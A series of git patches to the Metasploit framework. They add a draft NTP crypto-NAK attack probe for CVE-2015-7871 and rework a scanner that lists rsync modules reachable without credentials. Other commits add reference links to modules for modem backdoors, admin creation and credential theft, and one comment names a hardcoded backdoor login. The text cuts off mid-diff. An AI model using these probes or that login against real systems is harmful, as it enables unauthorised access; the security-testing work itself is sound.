b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb new file mode 100644 index 0000000000..0aa463ec69 --- /dev/null +++ b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb @@ -0,0 +1,65 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::NTP + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NTP "NAK To the Future"', + 'Description' => %q( + Fill. This. In. + ), + 'Author' => + [ + 'Jon Hart <jon_hart[at]rapid7.com>' # original metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://talosintel.com/reports/TALOS-2015-0069/' ], + [ 'CVE', '2015-7871' ] + ] + ) + ) + + register_options( + [ + OptInt.new('OFFSET', [true, "Offset from local time, in seconds", 300]), + ], self.class) + end + + def scanner_process(data, shost, _sport) + @results[shost] ||= [] + @results[shost] << data + end + + def scan_host(ip) + probe = Rex::Proto::NTP::NTPCryptoNAK.new + probe.stratum = 1 + probe.poll = 10 + now = Time.now + ts = ((now.to_i + 2208988800 + datastore['OFFSET']) << 32) + now.nsec + probe.reference_timestamp = ts + probe.origin_timestamp = ts + probe.receive_timestamp = ts + probe.transmit_timestamp = ts + probe.payload = "\x00\x00\x00\x00" + scanner_send(probe, ip, datastore['RPORT']) + end + + def scanner_prescan(batch) + @results = {} + end + + def scanner_postscan(_batch) + # do something here... + end +end From 78ad9908d2d094cd5de1e166215017970cdabfc9 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 27 Oct 2015 17:48:44 -0700 Subject: [PATCH 0999/2172] Doc --- modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb index 0aa463ec69..516ce7ed1b 100644 --- a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb +++ b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb @@ -46,13 +46,21 @@ class Metasploit3 < Msf::Auxiliary probe.stratum = 1 probe.poll = 10 now = Time.now + # compute the timestamp. NTP stores a timestamp as 64-bit unsigned + # integer, the high 32-bits representing the number of seconds since era + # epoch and the low 32-bits representing the fraction of a second. The era + # epoch in this case is Jan 1 1900, so we must add the number of seconds + # between then and the ruby era epoch, Jan 1 1970, which is 2208988800 ts = ((now.to_i + 2208988800 + datastore['OFFSET']) << 32) + now.nsec + # TODO: use different values for each? probe.reference_timestamp = ts probe.origin_timestamp = ts probe.receive_timestamp = ts probe.transmit_timestamp = ts + # key-id 0 probe.payload = "\x00\x00\x00\x00" scanner_send(probe, ip, datastore['RPORT']) + # TODO: whatever is next in order to let us win the race against the other peers end def scanner_prescan(batch) From 6781dfa6eeaf1a5e02a9414fa63bbefa64e29c0c Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 12 Oct 2015 09:05:01 -0700 Subject: [PATCH 1000/2172] Style cleanup for rsync modules_list --- .../auxiliary/scanner/rsync/modules_list.rb | 23 +++++++++---------- 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 454fdb00b7..66972bdb2b 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -6,7 +6,6 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -35,13 +34,13 @@ class Metasploit3 < Msf::Auxiliary return if version.blank? print_good("#{ip}:#{rport} - rsync #{version.strip} found") - report_service(:host => ip, :port => rport, :proto => 'tcp', :name => 'rsync') + report_service(host: ip, port: rport, proto: 'tcp', name: 'rsync') report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'rsync_version', - :data => version.strip + host: ip, + proto: 'tcp', + port: rport, + type: 'rsync_version', + data: version.strip ) # making sure we match the version of the server @@ -59,11 +58,11 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{ip}:#{rport} - #{version.rstrip} #{listing_sanitized}") report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'rsync_listing', - :data => listing_sanitized + host: ip, + proto: 'tcp', + port: rport, + type: 'rsync_listing', + data: listing_sanitized ) end end From 4f468dbcd79320269943acd061a7541ae44262ef Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 12 Oct 2015 09:51:00 -0700 Subject: [PATCH 1001/2172] Usability improvements for rsync modules_list --- .../auxiliary/scanner/rsync/modules_list.rb | 54 +++++++++++++------ 1 file changed, 38 insertions(+), 16 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 66972bdb2b..4618d4e1b9 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -32,37 +32,59 @@ class Metasploit3 < Msf::Auxiliary version = sock.get_once return if version.blank? + version.strip! - print_good("#{ip}:#{rport} - rsync #{version.strip} found") report_service(host: ip, port: rport, proto: 'tcp', name: 'rsync') report_note( host: ip, proto: 'tcp', port: rport, type: 'rsync_version', - data: version.strip + data: version ) # making sure we match the version of the server - sock.puts("#{version}") + sock.puts("#{version}\n") # the listing command - sock.puts("\n") + sock.puts("#list\n") listing = sock.get(20) disconnect - return if listing.blank? + if listing.blank? + print_status("#{ip}:#{port} - rsync #{version}: no modules found") + else + listing.gsub!('@RSYNCD: EXIT', '') # not interested in EXIT message + listing.strip! + # build a table to store the module listing in + listing_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "rsync modules", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "Comment" + ]) - print_good("#{ip}:#{rport} - rsync listing found") - listing.gsub!('@RSYNCD: EXIT', '') # not interested in EXIT message - listing_sanitized = Rex::Text.to_hex_ascii(listing.strip) + # the module listing is the module name and comment separated by a tab, each module + # on its own line, lines separated with a newline + listing.split(/\n/).map do |share_line| + name, comment = share_line.split(/\t/).map(&:strip) + listing_table << [ name, comment ] + end - vprint_status("#{ip}:#{rport} - #{version.rstrip} #{listing_sanitized}") - report_note( - host: ip, - proto: 'tcp', - port: rport, - type: 'rsync_listing', - data: listing_sanitized - ) + print_good("#{ip}:#{rport} - rsync #{version}: #{listing_table.rows.size} modules found") + vprint_line(listing_table.to_s) + + report_note( + host: ip, + proto: 'tcp', + port: rport, + type: 'rsync_listing', + data: listing_table + ) + end end end From 3e7f7f2eec7d873c6207b992c6121c22f42af39f Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 12 Oct 2015 10:36:24 -0700 Subject: [PATCH 1002/2172] Remove unnecessary table options, as these are the default --- modules/auxiliary/scanner/rsync/modules_list.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 4618d4e1b9..c30e35a1dc 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -59,9 +59,6 @@ class Metasploit3 < Msf::Auxiliary listing_table = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, 'Header' => "rsync modules", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, 'Columns' => [ "Name", From caf848ddf4d432851ceacd34511ebad8f156d3a4 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 12 Oct 2015 10:41:36 -0700 Subject: [PATCH 1003/2172] Store table better --- modules/auxiliary/scanner/rsync/modules_list.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index c30e35a1dc..1b38b83ff5 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -80,7 +80,8 @@ class Metasploit3 < Msf::Auxiliary proto: 'tcp', port: rport, type: 'rsync_listing', - data: listing_table + :data => { :modules => listing_table.rows }, + :update => :unique_data ) end end From 6dd40ec0631b41b034804d4fedad59a1811cf85b Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 12 Oct 2015 10:56:21 -0700 Subject: [PATCH 1004/2172] Better reporting --- .../auxiliary/scanner/rsync/modules_list.rb | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 1b38b83ff5..5eb07628e4 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -29,22 +29,21 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) connect - version = sock.get_once + return unless greeting = sock.get_once - return if version.blank? - version.strip! + greeting.strip! + return unless /^@RSYNCD: (?<version>\d+(\.\d+)?)$/ =~ greeting - report_service(host: ip, port: rport, proto: 'tcp', name: 'rsync') - report_note( + report_service( host: ip, - proto: 'tcp', port: rport, - type: 'rsync_version', - data: version + proto: 'tcp', + name: 'rsync', + info: "rsync protocol version #{version}" ) # making sure we match the version of the server - sock.puts("#{version}\n") + sock.puts("#{greeting}\n") # the listing command sock.puts("#list\n") listing = sock.get(20) @@ -79,7 +78,7 @@ class Metasploit3 < Msf::Auxiliary host: ip, proto: 'tcp', port: rport, - type: 'rsync_listing', + type: 'rsync_modules', :data => { :modules => listing_table.rows }, :update => :unique_data ) From 73a6b4760688b80b48156519027e61f724d614e1 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 12 Oct 2015 11:19:31 -0700 Subject: [PATCH 1005/2172] Split out negotiation and listing --- .../auxiliary/scanner/rsync/modules_list.rb | 51 +++++++++++-------- 1 file changed, 31 insertions(+), 20 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 5eb07628e4..36dae1c661 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -27,12 +27,36 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def run_host(ip) + def rsync_list + sock.puts("#list\n") + + list = [] + # the module listing is the module name and comment separated by a tab, each module + # on its own line, lines separated with a newline + sock.get(20).split(/\n/).map(&:strip).map do |module_line| + next if module_line =~ /^@RSYNCD: EXIT$/ + list << module_line.split(/\t/).map(&:strip) + end + list + end + + def rsync_negotiate connect return unless greeting = sock.get_once greeting.strip! - return unless /^@RSYNCD: (?<version>\d+(\.\d+)?)$/ =~ greeting + if /^@RSYNCD: (?<version>\d+(\.\d+)?)$/ =~ greeting + # making sure we match the version of the server + sock.puts("@RSYNCD: #{version}\n") + version + end + end + + def run_host(ip) + unless version = rsync_negotiate + disconnect + return + end report_service( host: ip, @@ -42,18 +66,10 @@ class Metasploit3 < Msf::Auxiliary info: "rsync protocol version #{version}" ) - # making sure we match the version of the server - sock.puts("#{greeting}\n") - # the listing command - sock.puts("#list\n") - listing = sock.get(20) - disconnect - - if listing.blank? + listing = rsync_list + if listing.empty? print_status("#{ip}:#{port} - rsync #{version}: no modules found") else - listing.gsub!('@RSYNCD: EXIT', '') # not interested in EXIT message - listing.strip! # build a table to store the module listing in listing_table = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, @@ -62,14 +78,9 @@ class Metasploit3 < Msf::Auxiliary [ "Name", "Comment" - ]) - - # the module listing is the module name and comment separated by a tab, each module - # on its own line, lines separated with a newline - listing.split(/\n/).map do |share_line| - name, comment = share_line.split(/\t/).map(&:strip) - listing_table << [ name, comment ] - end + ], + 'Rows' => listing + ) print_good("#{ip}:#{rport} - rsync #{version}: #{listing_table.rows.size} modules found") vprint_line(listing_table.to_s) From 4a3848cc4fb677b232cc4eeeda91994596b8fb68 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 12 Oct 2015 13:03:55 -0700 Subject: [PATCH 1006/2172] Handle rsync motd --- .../auxiliary/scanner/rsync/modules_list.rb | 52 ++++++++++++++----- 1 file changed, 38 insertions(+), 14 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 36dae1c661..898b0dea57 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -27,53 +27,76 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end + def read_timeout + 10 + end + def rsync_list sock.puts("#list\n") list = [] # the module listing is the module name and comment separated by a tab, each module # on its own line, lines separated with a newline - sock.get(20).split(/\n/).map(&:strip).map do |module_line| + sock.get(read_timeout).split(/\n/).map(&:strip).map do |module_line| next if module_line =~ /^@RSYNCD: EXIT$/ list << module_line.split(/\t/).map(&:strip) end + list end def rsync_negotiate - connect - return unless greeting = sock.get_once + return unless greeting = sock.get(read_timeout) greeting.strip! - if /^@RSYNCD: (?<version>\d+(\.\d+)?)$/ =~ greeting - # making sure we match the version of the server - sock.puts("@RSYNCD: #{version}\n") - version + control_lines = [] + motd_lines = [] + greeting.split(/\n/).map do |greeting_line| + if greeting_line =~ /^@RSYNCD:/ + control_lines << greeting_line + else + motd_lines << greeting_line + end end + + control_lines.map do |control_line| + if /^@RSYNCD: (?<version>\d+(\.\d+)?)$/ =~ control_line + motd = motd_lines.empty? ? nil : motd_lines.join("\n") + sock.puts("@RSYNCD: #{version}\n") + end + return version, motd + end + + nil end def run_host(ip) - unless version = rsync_negotiate + connect + version, motd = rsync_negotiate + unless version disconnect return end + info = "rsync protocol version #{version}" + info += ", MOTD '#{motd}'" if motd report_service( host: ip, port: rport, proto: 'tcp', name: 'rsync', - info: "rsync protocol version #{version}" + info: info ) + vprint_good("#{ip}:#{rport} - rsync MOTD: #{motd}") if motd listing = rsync_list if listing.empty? - print_status("#{ip}:#{port} - rsync #{version}: no modules found") + print_status("#{ip}:#{rport} - rsync #{version}: no modules found") else # build a table to store the module listing in listing_table = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, - 'Header' => "rsync modules", + 'Header' => "rsync modules for #{ip}:#{rport}", 'Columns' => [ "Name", @@ -82,7 +105,8 @@ class Metasploit3 < Msf::Auxiliary 'Rows' => listing ) - print_good("#{ip}:#{rport} - rsync #{version}: #{listing_table.rows.size} modules found") + print_good("#{ip}:#{rport} - rsync #{version}: #{listing.size} modules found: " \ + "#{listing.map(&:first).join(', ')}") vprint_line(listing_table.to_s) report_note( @@ -90,8 +114,8 @@ class Metasploit3 < Msf::Auxiliary proto: 'tcp', port: rport, type: 'rsync_modules', - :data => { :modules => listing_table.rows }, - :update => :unique_data + data: { modules: listing }, + update: :unique_data ) end end From b5d0804442392f4d4a343d7bc4b79b128d62ee31 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 12 Oct 2015 13:37:59 -0700 Subject: [PATCH 1007/2172] Detect if an rsync module requires authentication --- .../auxiliary/scanner/rsync/modules_list.rb | 33 +++++++++++++++---- 1 file changed, 27 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 898b0dea57..0943fecb59 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -10,6 +10,8 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report + RSYNC_HEADER = '@RSYNCD:' + def initialize super( 'Name' => 'Rsync Unauthenticated List Command', @@ -31,6 +33,16 @@ class Metasploit3 < Msf::Auxiliary 10 end + def rsync_requires_auth?(rmodule) + sock.puts("#{rmodule}\n") + res = sock.get_once + if res && (res =~ /^#{RSYNC_HEADER} AUTHREQD/) + true + else + false + end + end + def rsync_list sock.puts("#list\n") @@ -38,7 +50,7 @@ class Metasploit3 < Msf::Auxiliary # the module listing is the module name and comment separated by a tab, each module # on its own line, lines separated with a newline sock.get(read_timeout).split(/\n/).map(&:strip).map do |module_line| - next if module_line =~ /^@RSYNCD: EXIT$/ + next if module_line =~ /^#{RSYNC_HEADER} EXIT$/ list << module_line.split(/\t/).map(&:strip) end @@ -52,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary control_lines = [] motd_lines = [] greeting.split(/\n/).map do |greeting_line| - if greeting_line =~ /^@RSYNCD:/ + if greeting_line =~ /^#{RSYNC_HEADER}/ control_lines << greeting_line else motd_lines << greeting_line @@ -60,11 +72,12 @@ class Metasploit3 < Msf::Auxiliary end control_lines.map do |control_line| - if /^@RSYNCD: (?<version>\d+(\.\d+)?)$/ =~ control_line + if /^#{RSYNC_HEADER} (?<version>\d+(\.\d+)?)$/ =~ control_line + version = Regexp.last_match('version') motd = motd_lines.empty? ? nil : motd_lines.join("\n") - sock.puts("@RSYNCD: #{version}\n") + sock.puts("#{RSYNC_HEADER} #{version}\n") + return version, motd end - return version, motd end nil @@ -90,9 +103,16 @@ class Metasploit3 < Msf::Auxiliary vprint_good("#{ip}:#{rport} - rsync MOTD: #{motd}") if motd listing = rsync_list + disconnect if listing.empty? print_status("#{ip}:#{rport} - rsync #{version}: no modules found") else + listing.each do |name_comment| + connect + rsync_negotiate + name_comment << rsync_requires_auth?(name_comment.first) + disconnect + end # build a table to store the module listing in listing_table = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, @@ -100,7 +120,8 @@ class Metasploit3 < Msf::Auxiliary 'Columns' => [ "Name", - "Comment" + "Comment", + "Authentication?" ], 'Rows' => listing ) From e7d6493311d06e81a8262cbd3b91fef09fda3ccf Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 28 Oct 2015 10:45:02 -0500 Subject: [PATCH 1008/2172] Replace links --- .../admin/http/arris_motorola_surfboard_backdoor_xss.rb | 3 ++- modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb | 3 ++- modules/auxiliary/admin/http/manageengine_dir_listing.rb | 3 ++- modules/auxiliary/admin/http/manageengine_file_download.rb | 3 ++- modules/auxiliary/admin/http/manageengine_pmp_privesc.rb | 3 ++- modules/auxiliary/admin/http/netflow_file_download.rb | 3 ++- modules/auxiliary/admin/http/sysaid_admin_acct.rb | 3 ++- modules/auxiliary/admin/http/sysaid_file_download.rb | 3 ++- modules/auxiliary/admin/http/sysaid_sql_creds.rb | 3 ++- modules/auxiliary/bnat/bnat_router.rb | 1 + modules/auxiliary/bnat/bnat_scan.rb | 1 + modules/auxiliary/dos/ssl/openssl_aesni.rb | 3 ++- 12 files changed, 22 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb b/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb index 1bbe35b857..55f85637ae 100644 --- a/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb +++ b/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb @@ -46,7 +46,8 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'CVE', '2015-0964' ], # XSS vulnerability [ 'CVE', '2015-0965' ], # CSRF vulnerability - [ 'CVE', '2015-0966' ] # "techician/yZgO8Bvj" web interface backdoor + [ 'CVE', '2015-0966' ], # "techician/yZgO8Bvj" web interface backdoor + [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2015/06/05/r7-2015-01-csrf-backdoor-and-persistent-xss-on-arris-motorola-cable-modems' ], ] )) diff --git a/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb b/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb index dd91ebd71e..06f5ffceca 100644 --- a/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb +++ b/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb @@ -27,7 +27,8 @@ class Metasploit3 < Msf::Auxiliary [ ['CVE', '2014-7862'], ['OSVDB', '116554'], - ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/2'] + ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/2'], + ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_dc9_admin.txt'], ], 'DisclosureDate' => 'Dec 31 2014')) diff --git a/modules/auxiliary/admin/http/manageengine_dir_listing.rb b/modules/auxiliary/admin/http/manageengine_dir_listing.rb index 25cb1cee1e..cf33a28787 100644 --- a/modules/auxiliary/admin/http/manageengine_dir_listing.rb +++ b/modules/auxiliary/admin/http/manageengine_dir_listing.rb @@ -36,7 +36,8 @@ class Metasploit3 < Msf::Auxiliary [ ['CVE', '2014-7863'], ['OSVDB', '117696'], - ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/114'] + ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/114'], + ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_failservlet.txt'] ], 'DisclosureDate' => 'Jan 28 2015')) diff --git a/modules/auxiliary/admin/http/manageengine_file_download.rb b/modules/auxiliary/admin/http/manageengine_file_download.rb index a0a384e600..49331f2752 100644 --- a/modules/auxiliary/admin/http/manageengine_file_download.rb +++ b/modules/auxiliary/admin/http/manageengine_file_download.rb @@ -34,7 +34,8 @@ class Metasploit3 < Msf::Auxiliary [ ['CVE', '2014-7863'], ['OSVDB', '117695'], - ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/114'] + ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/114'], + ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_failservlet.txt'] ], 'DisclosureDate' => 'Jan 28 2015')) diff --git a/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb b/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb index e125f88ada..5fa29d0f9c 100644 --- a/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb +++ b/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb @@ -34,7 +34,8 @@ class Metasploit3 < Msf::Auxiliary [ [ 'CVE', '2014-8499' ], [ 'OSVDB', '114485' ], - [ 'URL', 'http://seclists.org/fulldisclosure/2014/Nov/18' ] + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Nov/18' ], + [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_pmp_privesc.txt' ], ], 'DisclosureDate' => 'Nov 8 2014')) diff --git a/modules/auxiliary/admin/http/netflow_file_download.rb b/modules/auxiliary/admin/http/netflow_file_download.rb index 03d4fb4efa..8e147f4927 100644 --- a/modules/auxiliary/admin/http/netflow_file_download.rb +++ b/modules/auxiliary/admin/http/netflow_file_download.rb @@ -28,7 +28,8 @@ class Metasploit3 < Msf::Auxiliary [ [ 'CVE', '2014-5445' ], [ 'OSVDB', '115340' ], - [ 'URL', 'http://seclists.org/fulldisclosure/2014/Dec/9' ] + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Dec/9' ], + [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_netflow_it360_file_dl.txt' ] ], 'DisclosureDate' => 'Nov 30 2014')) diff --git a/modules/auxiliary/admin/http/sysaid_admin_acct.rb b/modules/auxiliary/admin/http/sysaid_admin_acct.rb index 7554dad829..be790a49dd 100644 --- a/modules/auxiliary/admin/http/sysaid_admin_acct.rb +++ b/modules/auxiliary/admin/http/sysaid_admin_acct.rb @@ -27,7 +27,8 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'CVE', '2015-2993' ], - [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ] + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ], + [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/sysaid-14.4-multiple-vulns.txt' ], ], 'DisclosureDate' => 'Jun 3 2015')) diff --git a/modules/auxiliary/admin/http/sysaid_file_download.rb b/modules/auxiliary/admin/http/sysaid_file_download.rb index 2929701fd3..e11ccfc8ae 100644 --- a/modules/auxiliary/admin/http/sysaid_file_download.rb +++ b/modules/auxiliary/admin/http/sysaid_file_download.rb @@ -34,7 +34,8 @@ class Metasploit3 < Msf::Auxiliary [ ['CVE', '2015-2996'], ['CVE', '2015-2997'], - ['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8'] + ['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8'], + ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/sysaid-14.4-multiple-vulns.txt'], ], 'DisclosureDate' => 'Jun 3 2015')) diff --git a/modules/auxiliary/admin/http/sysaid_sql_creds.rb b/modules/auxiliary/admin/http/sysaid_sql_creds.rb index 85d674ab8b..7a219171e5 100644 --- a/modules/auxiliary/admin/http/sysaid_sql_creds.rb +++ b/modules/auxiliary/admin/http/sysaid_sql_creds.rb @@ -29,7 +29,8 @@ class Metasploit3 < Msf::Auxiliary [ ['CVE', '2015-2996'], ['CVE', '2015-2998'], - ['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8'] + ['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8'], + ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/sysaid-14.4-multiple-vulns.txt'] ], 'DisclosureDate' => 'Jun 3 2015')) diff --git a/modules/auxiliary/bnat/bnat_router.rb b/modules/auxiliary/bnat/bnat_router.rb index c7c5b8536d..d63e805904 100644 --- a/modules/auxiliary/bnat/bnat_router.rb +++ b/modules/auxiliary/bnat/bnat_router.rb @@ -21,6 +21,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ + [ 'URL', 'https://github.com/claudijd/bnat' ], [ 'URL', 'http://www.slideshare.net/claudijd/dc-skytalk-bnat-hijacking-repairing-broken-communication-channels'] ] ) diff --git a/modules/auxiliary/bnat/bnat_scan.rb b/modules/auxiliary/bnat/bnat_scan.rb index 3e45bc7ea0..4757cbae8e 100644 --- a/modules/auxiliary/bnat/bnat_scan.rb +++ b/modules/auxiliary/bnat/bnat_scan.rb @@ -25,6 +25,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ + [ 'URL', 'https://github.com/claudijd/bnat'], [ 'URL', 'http://www.slideshare.net/claudijd/dc-skytalk-bnat-hijacking-repairing-broken-communication-channels'] ] ) diff --git a/modules/auxiliary/dos/ssl/openssl_aesni.rb b/modules/auxiliary/dos/ssl/openssl_aesni.rb index f215ae9942..76f0db506d 100644 --- a/modules/auxiliary/dos/ssl/openssl_aesni.rb +++ b/modules/auxiliary/dos/ssl/openssl_aesni.rb @@ -28,7 +28,8 @@ class Metasploit4 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', '2012-2686'] + [ 'CVE', '2012-2686'], + [ 'URL', 'https://www.openssl.org/news/secadv/20130205.txt' ] ], 'DisclosureDate' => 'Feb 05 2013')) From 1805774b161f93eaf07c747eb164584f3c7a25ce Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 28 Oct 2015 11:16:44 -0500 Subject: [PATCH 1009/2172] Resolve #6020, Better RPC exception handling Resolve #6020. Avoid trying to rescue RuntimeError. --- lib/rex/proto/dcerpc/client.rb | 12 ++++----- lib/rex/proto/dcerpc/exceptions.rb | 26 +++++++++++++++++++ modules/auxiliary/admin/smb/psexec_command.rb | 3 ++- 3 files changed, 34 insertions(+), 7 deletions(-) diff --git a/lib/rex/proto/dcerpc/client.rb b/lib/rex/proto/dcerpc/client.rb index 43cdbe390a..9a5e5705a4 100644 --- a/lib/rex/proto/dcerpc/client.rb +++ b/lib/rex/proto/dcerpc/client.rb @@ -57,7 +57,7 @@ require 'rex/proto/smb/exceptions' case self.handle.protocol when 'ncacn_ip_tcp' if self.socket.type? != 'tcp' - raise "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!" + raise ::Rex::Proto::DCERPC::Exceptions::InvalidSocket, "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!" end when 'ncacn_np' if self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe @@ -65,11 +65,11 @@ require 'rex/proto/smb/exceptions' elsif self.socket.type? == 'tcp' self.smb_connect() else - raise "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!" + raise ::Rex::Proto::DCERPC::Exceptions::InvalidSocket, "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!" end # No support ncacn_ip_udp (is it needed now that its ripped from Vista?) else - raise "Unsupported protocol : #{self.handle.protocol}" + raise ::Rex::Proto::DCERPC::Exceptions::InvalidSocket, "Unsupported protocol : #{self.handle.protocol}" end end @@ -255,7 +255,7 @@ require 'rex/proto/smb/exceptions' bind, context = Rex::Proto::DCERPC::Packet.make_bind(*self.handle.uuid) end - raise 'make_bind failed' if !bind + raise ::Rex::Proto::DCERPC::Exceptions::BindError, 'make_bind failed' if !bind self.write(bind) raw_response = self.read() @@ -264,11 +264,11 @@ require 